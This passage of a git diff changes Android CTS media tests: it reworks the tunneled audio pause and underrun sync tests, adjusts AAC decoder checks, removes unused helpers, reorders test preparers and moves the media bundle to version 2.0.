testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_AVC, - "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); - } - - /** - * Test tunneled audioTimestamp progress with VP9 if supported - */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) - @Test - public void testTunneledAudioTimestampProgressVp9() throws Exception { - testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_VP9, - "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); - } - - /** - * Test that AudioTrack timestamps don't advance after pause. - */ - private void - testTunneledAudioTimestampProgress(String mimeType, String videoName) throws Exception - { + private void testTunneledAudioProgressWithPause(String mimeType, String videoName) + throws Exception { if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback), "No tunneled video playback codec found for MIME " + mimeType)) { return; @@ -4568,11 +4565,10 @@ public class DecoderTest extends MediaTestBase { Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName)); mMediaCodecPlayer.setAudioDataSource(mediaUri, null); mMediaCodecPlayer.setVideoDataSource(mediaUri, null); - assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start()); assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare()); + mMediaCodecPlayer.startCodec(); - // starts video playback - mMediaCodecPlayer.startThread(); + mMediaCodecPlayer.play(); sleepUntil(() -> mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP && mMediaCodecPlayer.getTimestamp() != null @@ -4604,14 +4600,43 @@ public class DecoderTest extends MediaTestBase { assertEquals(audioTimestampAfterPause.nanoTime, mMediaCodecPlayer.getTimestamp().nanoTime); } + /** - * Test tunneled audio underrun, if supported. - * - * Underrun test with lower pts after underrun. + * Test that audio timestamps stop progressing during pause for HEVC in tunneled mode. + */ + @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) + public void testTunneledAudioProgressWithPauseHevc() throws Exception { + testTunneledAudioProgressWithPause(MediaFormat.MIMETYPE_VIDEO_HEVC, + "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); + } + + /** + * Test that audio timestamps stop progressing during pause for AVC in tunneled mode. + */ + @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) + public void testTunneledAudioProgressWithPauseAvc() throws Exception { + testTunneledAudioProgressWithPause(MediaFormat.MIMETYPE_VIDEO_AVC, + "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); + } + + /** + * Test that audio timestamps stop progressing during pause for VP9 in tunneled mode. + */ + @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) + public void testTunneledAudioProgressWithPauseVp9() throws Exception { + testTunneledAudioProgressWithPause(MediaFormat.MIMETYPE_VIDEO_VP9, + "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); + } + + /** + * Test that audio underrun pauses video and resumes in-sync in tunneled mode. * * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content */ - private void tunneledAudioUnderrun(String mimeType, String videoName, int frameRate) + private void tunneledAudioUnderrun(String mimeType, String videoName) throws Exception { if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback), "No tunneled video playback codec found for MIME " + mimeType)) { @@ -4625,11 +4650,10 @@ public class DecoderTest extends MediaTestBase { Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName)); mMediaCodecPlayer.setAudioDataSource(mediaUri, null); mMediaCodecPlayer.setVideoDataSource(mediaUri, null); - assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start()); assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare()); + mMediaCodecPlayer.startCodec(); - // Starts video playback - mMediaCodecPlayer.startThread(); + mMediaCodecPlayer.play(); sleepUntil(() -> mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP && mMediaCodecPlayer.getTimestamp() != null @@ -4645,36 +4669,39 @@ public class DecoderTest extends MediaTestBase { mMediaCodecPlayer.simulateAudioUnderrun(true); // Wait for audio underrun - final int audioUnderrunTimeoutMs = 1000; // Arbitrary upper time limit on loop time duration - long startTimeMs = System.currentTimeMillis(); - AudioTimestamp currentAudioTimestamp = mMediaCodecPlayer.getTimestamp(); AudioTimestamp underrunAudioTimestamp; - do { - assertTrue(String.format("No audio underrun after %d milliseconds", - System.currentTimeMillis() - startTimeMs), - System.currentTimeMillis() - startTimeMs < audioUnderrunTimeoutMs); - underrunAudioTimestamp = currentAudioTimestamp; - Thread.sleep(50); - currentAudioTimestamp = mMediaCodecPlayer.getTimestamp(); - } while (currentAudioTimestamp.framePosition != underrunAudioTimestamp.framePosition); - + { + AudioTimestamp currentAudioTimestamp = mMediaCodecPlayer.getTimestamp(); + long startTimeMs = System.currentTimeMillis(); + do { + int audioUnderrunTimeoutMs = 1000; + assertTrue(String.format("No audio underrun after %d milliseconds", + System.currentTimeMillis() - startTimeMs), + System.currentTimeMillis() - startTimeMs < audioUnderrunTimeoutMs); + underrunAudioTimestamp = currentAudioTimestamp; + Thread.sleep(50); + currentAudioTimestamp = mMediaCodecPlayer.getTimestamp(); + } while (currentAudioTimestamp.framePosition != underrunAudioTimestamp.framePosition); + } - // Wait until video playback stalls - final int videoUnderrunTimeoutMs = 1000; - startTimeMs = System.currentTimeMillis(); - long currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs(); - long underrunVideoTimeUs = -1; - do { - assertTrue(String.format("No video underrun after %d milliseconds", - videoUnderrunTimeoutMs), - System.currentTimeMillis() - startTimeMs < videoUnderrunTimeoutMs); - underrunVideoTimeUs = currentVideoTimeUs; - Thread.sleep(50); - currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs(); - } while (currentVideoTimeUs != underrunVideoTimeUs); + // Wait until video playback pauses due to underrunning audio + long pausedVideoTimeUs = -1; + { + long currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs(); + long startTimeMs = System.currentTimeMillis(); + do { + int videoPauseTimeoutMs = 2000; + assertTrue(String.format("No video pause after %d milliseconds", + videoPauseTimeoutMs), + System.currentTimeMillis() - startTimeMs < videoPauseTimeoutMs); + pausedVideoTimeUs = currentVideoTimeUs; + Thread.sleep(250); // onFrameRendered messages can get delayed in the Framework + currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs(); + } while (currentVideoTimeUs != pausedVideoTimeUs); + } - // Retrieve index for the video rendered frame at the time of underrun - int underrunVideoRenderedTimestampIndex = + // Retrieve index for the video rendered frame at the time of video pausing + int pausedVideoRenderedTimestampIndex = mMediaCodecPlayer.getRenderedVideoFrameTimestampList().size() - 1; // Resume audio buffering with a negative offset, in order to simulate a desynchronisation. @@ -4683,35 +4710,38 @@ public class DecoderTest extends MediaTestBase { mMediaCodecPlayer.simulateAudioUnderrun(false); // Wait until audio playback resumes - final int audioResumeTimeoutMs = 1000; - startTimeMs = System.currentTimeMillis(); - currentAudioTimestamp = mMediaCodecPlayer.getTimestamp(); AudioTimestamp postResumeAudioTimestamp; - do { - assertTrue(String.format("Audio has not resumed after %d milliseconds", - audioResumeTimeoutMs), - System.currentTimeMillis() - startTimeMs < audioResumeTimeoutMs); - postResumeAudioTimestamp = currentAudioTimestamp; - Thread.sleep(50); - currentAudioTimestamp = mMediaCodecPlayer.getTimestamp(); - } while(currentAudioTimestamp.framePosition == postResumeAudioTimestamp.framePosition); + { + AudioTimestamp previousAudioTimestamp; + long startTimeMs = System.currentTimeMillis(); + do { + int audioResumeTimeoutMs = 1000; + assertTrue(String.format("Audio has not resumed after %d milliseconds", + audioResumeTimeoutMs), + System.currentTimeMillis() - startTimeMs < audioResumeTimeoutMs); + previousAudioTimestamp = mMediaCodecPlayer.getTimestamp(); + Thread.sleep(50); + postResumeAudioTimestamp = mMediaCodecPlayer.getTimestamp(); + } while (postResumeAudioTimestamp.framePosition == previousAudioTimestamp.framePosition); + } // Now that audio playback has resumed, wait until video playback resumes - // We care about the timestamp of the first output frame, rather than the exact time the - // video resumed, which is why we only start polling after we are sure audio playback has - // resumed. - final int videoResumeTimeoutMs = 1000; - startTimeMs = System.currentTimeMillis(); - currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs(); - long resumeVideoTimeUs = -1; - do { - assertTrue(String.format("Video has not resumed after %d milliseconds", - videoResumeTimeoutMs), - System.currentTimeMillis() - startTimeMs < videoResumeTimeoutMs); - resumeVideoTimeUs = currentVideoTimeUs; - Thread.sleep(50); - currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs(); - } while (currentVideoTimeUs == resumeVideoTimeUs); + { + // We actually don't care about trying to capture the exact time video resumed, because + // we can just look at the historical list of rendered video timestamps + long postResumeVideoTimeUs; + long previousVideoTimeUs; + long startTimeMs = System.currentTimeMillis(); + do { + int videoResumeTimeoutMs = 2000; + assertTrue(String.format("Video has not resumed after %d milliseconds", + videoResumeTimeoutMs), + System.currentTimeMillis() - startTimeMs < videoResumeTimeoutMs); + previousVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs(); + Thread.sleep(50); + postResumeVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs(); + } while (postResumeVideoTimeUs == previousVideoTimeUs); + } // The system time when rendering the first audio frame after the resume long playbackRateFps = mMediaCodecPlayer.getAudioTrack().getPlaybackRate(); @@ -4721,52 +4751,74 @@ public class DecoderTest extends MediaTestBase { long resumeAudioSystemTimeNs = postResumeAudioTimestamp.nanoTime - (long) elapsedTimeNs; long resumeAudioSystemTimeMs = resumeAudioSystemTimeNs / 1000 / 1000; - // The system time when rendering the first video frame after the resume + // The system time when rendering the first video frame after video playback resumes long resumeVideoSystemTimeMs = mMediaCodecPlayer.getRenderedVideoFrameSystemTimeList() - .get(underrunVideoRenderedTimestampIndex + 1) / 1000 / 1000; + .get(pausedVideoRenderedTimestampIndex + 1) / 1000 / 1000; - // Verify that audio and video are in-sync after resume time + // Verify that video resumes in a reasonable amount of time after audio resumes // Note: Because a -100ms PTS gap is introduced, the video should resume 100ms later resumeAudioSystemTimeMs += 100; - long vsyncMs = 1000 / frameRate; - long avSyncOffsetMs = resumeAudioSystemTimeMs - resumeVideoSystemTimeMs; + long resumeDeltaMs = resumeVideoSystemTimeMs - resumeAudioSystemTimeMs; + assertTrue(String.format("Video started %s milliseconds before audio resumed " + + "(video:%d audio:%d)", resumeDeltaMs * -1, resumeVideoSystemTimeMs, + resumeAudioSystemTimeMs), + resumeDeltaMs > 0); // video is expected to start after audio resumes assertTrue(String.format( - "Audio is %d milliseconds out of sync of video (audio:%d video:%d)", - avSyncOffsetMs, resumeAudioSystemTimeMs, resumeVideoSystemTimeMs), - Math.abs(avSyncOffsetMs) <= vsyncMs); + "Video started %d milliseconds after audio resumed (video:%d audio:%d)", + resumeDeltaMs, resumeVideoSystemTimeMs, resumeAudioSystemTimeMs), + resumeDeltaMs <= 600); // video starting 300ms after audio is barely noticeable + + // Determine the system time of the audio frame that matches the presentation timestamp of + // the resumed video frame + long resumeVideoPresentationTimeUs = mMediaCodecPlayer.getRenderedVideoFrameTimestampList() + .get(pausedVideoRenderedTimestampIndex + 1); + long matchingAudioFramePosition = resumeVideoPresentationTimeUs * playbackRateFps / 1000 / 1000; + playedFrames = matchingAudioFramePosition - postResumeAudioTimestamp.framePosition; + elapsedTimeNs = playedFrames * (1000.0 * 1000.0 * 1000.0 / playbackRateFps); + long matchingAudioSystemTimeNs = postResumeAudioTimestamp.nanoTime + (long) elapsedTimeNs; + long matchingAudioSystemTimeMs = matchingAudioSystemTimeNs / 1000 / 1000; + + // Verify that video and audio are in sync at the time when video resumes + // Note: Because a -100ms PTS gap is introduced, the video should resume 100ms later + matchingAudioSystemTimeMs += 100; + long avSyncOffsetMs = resumeVideoSystemTimeMs - matchingAudioSystemTimeMs; + assertTrue(String.format("Video is %d milliseconds out of sync of audio after resuming " + + "(video:%d, audio:%d)", avSyncOffsetMs, resumeVideoSystemTimeMs, + matchingAudioSystemTimeMs), + // some leniency in AV sync is required because Android TV STB/OTT OEMs often have + // to tune for imperfect downstream TVs (that have processing delays on the video) + // by knowingly producing HDMI output that has audio and video mildly out of sync + Math.abs(avSyncOffsetMs) <= 80); } /** - * Test tunneled audio underrun with HEVC if supported + * Test that audio underrun pauses video and resumes in-sync for HEVC in tunneled mode. */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) public void testTunneledAudioUnderrunHevc() throws Exception { tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_HEVC, - "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv", - 25); + "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); } /** - * Test tunneled audio underrun with AVC if supported + * Test that audio underrun pauses video and resumes in-sync for AVC in tunneled mode. */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) public void testTunneledAudioUnderrunAvc() throws Exception { tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_AVC, - "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", - 25); + "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); } /** - * Test tunneled audio underrun with VP9 if supported + * Test that audio underrun pauses video and resumes in-sync for VP9 in tunneled mode. */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) public void testTunneledAudioUnderrunVp9() throws Exception { tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_VP9, - "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm", - 30); + "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); } private void sleepUntil(Supplier<Boolean> supplier, Duration maxWait) throws Exception { diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java index f34f9e23146..af4e75a5383 100644 --- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java +++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java @@ -37,6 +37,7 @@ import android.util.Log; import androidx.test.InstrumentationRegistry; import com.android.compatibility.common.util.ApiLevelUtil; +import com.android.compatibility.common.util.CddTest; import com.android.compatibility.common.util.MediaUtils; import org.junit.Before; @@ -56,7 +57,7 @@ public class DecoderTestAacFormat { ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R); private static final boolean sIsAtLeastT = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU); - + private static final String MIMETYPE_AAC = MediaFormat.MIMETYPE_AUDIO_AAC; @Before public void setUp() throws Exception { final Instrumentation inst = InstrumentationRegistry.getInstrumentation(); @@ -67,6 +68,7 @@ public class DecoderTestAacFormat { * Verify downmixing to stereo at decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams */ @Test + @CddTest(requirements = {"5.1.2/C-2-1", "5.1.2/C-7-1", "5.1.2/C-7-2"}) public void testHeAacM4aMultichannelDownmix() throws Exception { Log.i(TAG, "START testDecodeHeAacMcM4a"); @@ -81,9 +83,9 @@ public class DecoderTestAacFormat { AudioFormat.CHANNEL_OUT_QUAD | AudioFormat.CHANNEL_OUT_FRONT_CENTER}, {"noise_6ch_44khz_aot5_dr_sbr_sig2_mp4.m4a", 6, AudioFormat.CHANNEL_OUT_5POINT1}, }; - - for (Object [] sample: samples) { - for (String codecName : DecoderTest.codecsFor((String)sample[0] /* resource */)) { + for (Object[] sample: samples) { + for (String codecName : DecoderTest.codecsFor((String)sample[0] /* resource */, + DecoderTest.CODEC_DEFAULT)) { // verify correct number of channels is observed without downmixing AudioParameter chanParams = new AudioParameter(); decodeUpdateFormat(codecName, (String) sample[0] /*resource*/, chanParams, @@ -101,7 +103,7 @@ public class DecoderTestAacFormat { assertEquals("Number of channels differs for codec:" + codecName + " when downmixing with KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT", 2, aacDownmixParams.getNumChannels()); - if (sIsAtLeastT) { + if (sIsAtLeastT && DecoderTest.isDefaultCodec(codecName, MIMETYPE_AAC)) { // KEY_CHANNEL_MASK expected to work starting with T assertEquals("Wrong channel mask with KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT", AudioFormat.CHANNEL_OUT_STEREO, @@ -168,7 +170,7 @@ public class DecoderTestAacFormat { assertEquals("wrong number of tracks", 1, extractor.getTrackCount()); MediaFormat format = extractor.getTrackFormat(0); String mime = format.getString(MediaFormat.KEY_MIME); - assertTrue("not an audio file", mime.startsWith("audio/")); + assertTrue("not an aac audio file", mime.equals(MIMETYPE_AAC)); MediaCodec decoder; if (decoderName == null) { @@ -276,7 +278,7 @@ public class DecoderTestAacFormat { } catch (NullPointerException e) { fail("KEY_SAMPLE_RATE not found on output format"); } - if (sIsAtLeastT) { + if (sIsAtLeastT && DecoderTest.isDefaultCodec(decoderName, MIMETYPE_AAC)) { try { audioParams.setChannelMask( outputFormat.getInteger(MediaFormat.KEY_CHANNEL_MASK)); diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java index f5e3e0d7958..9b98fede1bd 100644 --- a/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java +++ b/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java @@ -129,81 +129,6 @@ public class NativeDecoderTest extends MediaTestBase { return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize()); } - private static int[] getSampleSizes(String path, String[] keys, String[] values) - throws IOException { - MediaExtractor ex = new MediaExtractor(); - if (keys == null || values == null) { - ex.setDataSource(path); - } else { - Map<String, String> headers = null; - int numheaders = Math.min(keys.length, values.length); - for (int i = 0; i < numheaders; i++) { - if (headers == null) { - headers = new HashMap<>(); - } - String key = keys[i]; - String value = values[i]; - headers.put(key, value); - } - ex.setDataSource(path, headers); - } - - return getSampleSizes(ex); - } - - private static int[] getSampleSizes(FileDescriptor fd, long offset, long size) - throws IOException { - MediaExtractor ex = new MediaExtractor(); - ex.setDataSource(fd, offset, size); - return getSampleSizes(ex); - } - - private static int[] getSampleSizes(MediaExtractor ex) { - ArrayList<Integer> foo = new ArrayList<Integer>(); - ByteBuffer buf = ByteBuffer.allocate(1024*1024); - int numtracks = ex.getTrackCount(); - assertTrue("no tracks", numtracks > 0); - foo.add(numtracks); - for (int i = 0; i < numtracks; i++) { - MediaFormat format = ex.getTrackFormat(i); - String mime = format.getString(MediaFormat.KEY_MIME); - if (mime.startsWith("audio/")) { - foo.add(0); - foo.add(format.getInteger(MediaFormat.KEY_SAMPLE_RATE)); - foo.add(format.getInteger(MediaFormat.KEY_CHANNEL_COUNT)); - foo.add((int)format.getLong(MediaFormat.KEY_DURATION)); - } else if (mime.startsWith("video/")) { - foo.add(1); - foo.add(format.getInteger(MediaFormat.KEY_WIDTH)); - foo.add(format.getInteger(MediaFormat.KEY_HEIGHT)); - foo.add((int)format.getLong(MediaFormat.KEY_DURATION)); - } else { - fail("unexpected mime type: " + mime); - } - ex.selectTrack(i); - } - while(true) { - int n = ex.readSampleData(buf, 0); - if (n < 0) { - break; - } - foo.add(n); - foo.add(ex.getSampleTrackIndex()); - foo.add(ex.getSampleFlags()); - foo.add((int)ex.getSampleTime()); // just the low bits should be OK - byte[] foobar = new byte[n]; - buf.get(foobar, 0, n); - foo.add(adler32(foobar)); - ex.advance(); - } - - int [] ret = new int[foo.size()]; - for (int i = 0; i < ret.length; i++) { - ret[i] = foo.get(i); - } - return ret; - } - @Test public void testDataSource() throws Exception { int testsRun = testDecoder( diff --git a/tests/tests/media/drmframework/AndroidTest.xml b/tests/tests/media/drmframework/AndroidTest.xml index c6e311de86e..28aaadc3c6d 100644 --- a/tests/tests/media/drmframework/AndroidTest.xml +++ b/tests/tests/media/drmframework/AndroidTest.xml @@ -26,6 +26,11 @@ <option name="dynamic-config-name" value="CtsMediaDrmFrameworkTestCases" /> <option name="version" value="9.0_r1"/> </target_preparer> + <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> + <option name="target" value="device" /> + <option name="config-filename" value="CtsMediaDrmFrameworkTestCases" /> + <option name="version" value="7.0"/> + </target_preparer> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer"> <option name="push-all" value="true" /> <option name="media-folder-name" value="CtsMediaDrmFrameworkTestCases-1.0" /> @@ -35,11 +40,6 @@ <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsMediaDrmFrameworkTestCases.apk" /> </target_preparer> - <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> - <option name="target" value="device" /> - <option name="config-filename" value="CtsMediaDrmFrameworkTestCases" /> - <option name="version" value="7.0"/> - </target_preparer> <test class="com.android.tradefed.testtype.AndroidJUnitTest" > <option name="package" value="android.media.drmframework.cts" /> <!-- setup can be expensive so limit the number of shards --> diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java index 1a1a46f5383..2c1d9c5edc4 100644 --- a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java +++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java @@ -26,7 +26,6 @@ import android.media.ResourceBusyException; import android.media.UnsupportedSchemeException; import android.media.cts.AudioManagerStub; import android.media.cts.AudioManagerStubHelper; -import android.media.cts.CodecState; import android.media.cts.ConnectionStatus; import android.media.cts.IConnectionStatus; import android.media.cts.InputSurface; diff --git a/tests/tests/media/encoder/AndroidTest.xml b/tests/tests/media/encoder/AndroidTest.xml index 65d8d6d62f1..4de5615b84e 100644 --- a/tests/tests/media/encoder/AndroidTest.xml +++ b/tests/tests/media/encoder/AndroidTest.xml @@ -33,6 +33,11 @@ <option name="dynamic-config-name" value="CtsMediaEncoderTestCases" /> <option name="version" value="1.0"/> </target_preparer> + <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> + <option name="target" value="device" /> + <option name="config-filename" value="CtsMediaEncoderTestCases" /> + <option name="version" value="1.0"/> + </target_preparer> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer"> <option name="push-all" value="true" /> <option name="media-folder-name" value="CtsMediaEncoderTestCases-1.0" /> @@ -42,11 +47,6 @@ <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsMediaEncoderTestCases.apk" /> </target_preparer> - <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> - <option name="target" value="device" /> - <option name="config-filename" value="CtsMediaEncoderTestCases" /> - <option name="version" value="1.0"/> - </target_preparer> <test class="com.android.tradefed.testtype.AndroidJUnitTest" > <option name="package" value="android.media.encoder.cts" /> <!-- setup can be expensive so limit the number of shards --> diff --git a/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java b/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java index 4afc7aafd2b..74aa214f6d6 100644 --- a/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java +++ b/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java @@ -43,6 +43,7 @@ import android.media.cts.NonMediaMainlineTest; import android.media.cts.OutputSurface; import android.media.cts.Preconditions; import android.media.cts.TestArgs; +import android.media.cts.TestUtils; import android.net.Uri; import android.platform.test.annotations.AppModeFull; import android.util.Log; @@ -1301,6 +1302,10 @@ public class VideoEncoderTest extends MediaTestBase { if (TestArgs.shouldSkipCodec(encoder)) { continue; } + if (!TestUtils.isTestableCodecInCurrentMode(encoder)) { + Log.d(TAG, "Skipping tests for codec: " + encoder); + continue; + } CodecCapabilities caps = getCodecCapabities(encoder, mediaType, true); assertNotNull(caps); EncoderSize encoderSize = new EncoderSize(encoder, mediaType, caps); diff --git a/tests/tests/media/extractor/AndroidTest.xml b/tests/tests/media/extractor/AndroidTest.xml index 007a65b74a3..fbe2d48fad5 100644 --- a/tests/tests/media/extractor/AndroidTest.xml +++ b/tests/tests/media/extractor/AndroidTest.xml @@ -33,6 +33,11 @@ <option name="dynamic-config-name" value="CtsMediaExtractorTestCases" /> <option name="version" value="1.0"/> </target_preparer> + <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> + <option name="target" value="device" /> + <option name="config-filename" value="CtsMediaExtractorTestCases" /> + <option name="version" value="1.0"/> + </target_preparer> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer"> <option name="push-all" value="true" /> <option name="media-folder-name" value="CtsMediaExtractorTestCases-1.0" /> @@ -42,11 +47,6 @@ <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsMediaExtractorTestCases.apk" /> </target_preparer> - <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> - <option name="target" value="device" /> - <option name="config-filename" value="CtsMediaExtractorTestCases" /> - <option name="version" value="1.0"/> - </target_preparer> <test class="com.android.tradefed.testtype.AndroidJUnitTest" > <option name="package" value="android.media.extractor.cts" /> <!-- setup can be expensive so limit the number of shards --> diff --git a/tests/tests/media/misc/AndroidTest.xml b/tests/tests/media/misc/AndroidTest.xml index 58cea2c8df6..1facb8d3933 100644 --- a/tests/tests/media/misc/AndroidTest.xml +++ b/tests/tests/media/misc/AndroidTest.xml @@ -33,20 +33,20 @@ <option name="dynamic-config-name" value="CtsMediaMiscTestCases" /> <option name="version" value="9.0_r1"/> </target_preparer> + <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> + <option name="target" value="device" /> + <option name="config-filename" value="CtsMediaMiscTestCases" /> + <option name="version" value="1.0"/> + </target_preparer> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer"> <option name="push-all" value="true" /> - <option name="media-folder-name" value="CtsMediaMiscTestCases-1.0" /> + <option name="media-folder-name" value="CtsMediaMiscTestCases-2.0" /> <option name="dynamic-config-module" value="CtsMediaMiscTestCases" /> </target_preparer> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsMediaMiscTestCases.apk" /> </target_preparer> - <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> - <option name="target" value="device" /> - <option name="config-filename" value="CtsMediaMiscTestCases" /> - <option name="version" value="1.0"/> - </target_preparer> <test class="com.android.tradefed.testtype.AndroidJUnitTest" > <option name="package" value="android.media.misc.cts" /> <!-- setup can be expensive so limit the number of shards --> diff --git a/tests/tests/media/misc/DynamicConfig.xml b/tests/tests/media/misc/DynamicConfig.xml index 09e5fbaf95f..51e05bbba75 100644 --- a/tests/tests/media/misc/DynamicConfig.xml +++ b/tests/tests/media/misc/DynamicConfig.xml @@ -15,6 +15,6 @@ <dynamicConfig> <entry key="media_files_url"> - <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/misc/CtsMediaMiscTestCases-1.0.zip</value> + <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/misc/CtsMediaMiscTestCases-2.0.zip</value> </entry> </dynamicConfig> diff --git a/tests/tests/media/misc/copy_media.sh b/tests/tests/media/misc/copy_media.sh index 96f5a499d3b..27ba1e73422 100755 --- a/tests/tests/media/misc/copy_media.sh +++ b/tests/tests/media/misc/copy_media.sh @@ -17,4 +17,4 @@ [ -z "$MEDIA_ROOT_DIR" ] && MEDIA_ROOT_DIR=$(dirname $0)/.. source $MEDIA_ROOT_DIR/common/copy_media_utils.sh get_adb_options "$@" -copy_media "misc" "CtsMediaMiscTestCases-1.0" +copy_media "misc" "CtsMediaMiscTestCases-2.0" diff --git a/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java b/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java index 0c392295e04..dbb60353267 100644 --- a/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java +++ b/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java @@ -20,6 +20,6 @@ import android.media.cts.WorkDirBase; class WorkDir extends WorkDirBase { public static final String getMediaDirString() { - return getMediaDirString("CtsMediaMiscTestCases-1.0"); + return getMediaDirString("CtsMediaMiscTestCases-2.0"); } } diff --git a/tests/tests/media/muxer/AndroidTest.xml b/tests/tests/media/muxer/AndroidTest.xml index 502f2ca2628..0c361e96d36 100644 --- a/tests/tests/media/muxer/AndroidTest.xml +++ b/tests/tests/media/muxer/AndroidTest.xml @@ -33,6 +33,11 @@ <option name="dynamic-config-name" value="CtsMediaMuxerTestCases" /> <option name="version" value="1.0"/> </target_preparer> + <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> + <option name="target" value="device" /> + <option name="config-filename" value="CtsMediaMuxerTestCases" /> + <option name="version" value="1.0"/> + </target_preparer> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer"> <option name="push-all" value="true" /> <option name="media-folder-name" 